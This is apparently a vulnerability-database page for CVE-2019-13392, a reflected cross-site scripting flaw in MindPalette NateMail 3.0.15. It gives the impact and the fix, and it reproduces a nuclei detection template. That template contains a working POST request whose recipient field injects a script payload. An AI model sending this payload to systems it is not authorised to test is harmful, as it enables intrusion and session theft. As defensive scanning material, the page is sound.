HexBrain

Browse / CVEs / CVE-2019-13392

CVE-2019-13392· mindpalette / natemail· CWE-79

MindPalette NateMail 3.0.15 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

MindPalette NateMail 3.0.15 is susceptible to reflected cross-site scripting which could allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted POST request. The application will reflect the recipient value if it is not in the NateMail recipient array. Note that this array is keyed via integers by default, so any string input will be invalid.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to the latest version of MindPalette NateMail to fix the XSS vulnerability.

How to confirm it

Send: POST /NateMail.php
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2019-13392 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-13392

info:
  name: MindPalette NateMail 3.0.15 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: MindPalette NateMail 3.0.15 is susceptible to reflected cross-site scripting which could allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted POST request. The application will reflect the recipient value if it is not in the NateMail recipient array. Note that this array is keyed via integers by default, so any string input will be invalid.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of MindPalette NateMail to fix the XSS vulnerability.
  reference:
    - https://www.doyler.net/security-not-included/natemail-vulnerabilities
    - https://mindpalette.com/tag/natemail/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13392
    - https://twitter.com/mindpalette
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-13392
    cwe-id: CWE-79
    epss-score: 0.04019
    epss-percentile: 0.9066
    cpe: cpe:2.3:a:mindpalette:natemail:3.0.15:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mindpalette
    product: natemail
  tags: cve,cve2019,natemail,xss,mindpalette,vuln

http:
  - raw:
      - |
        POST /NateMail.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        recipient=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

References

Use this check only on systems you are authorised to test. Where the data comes from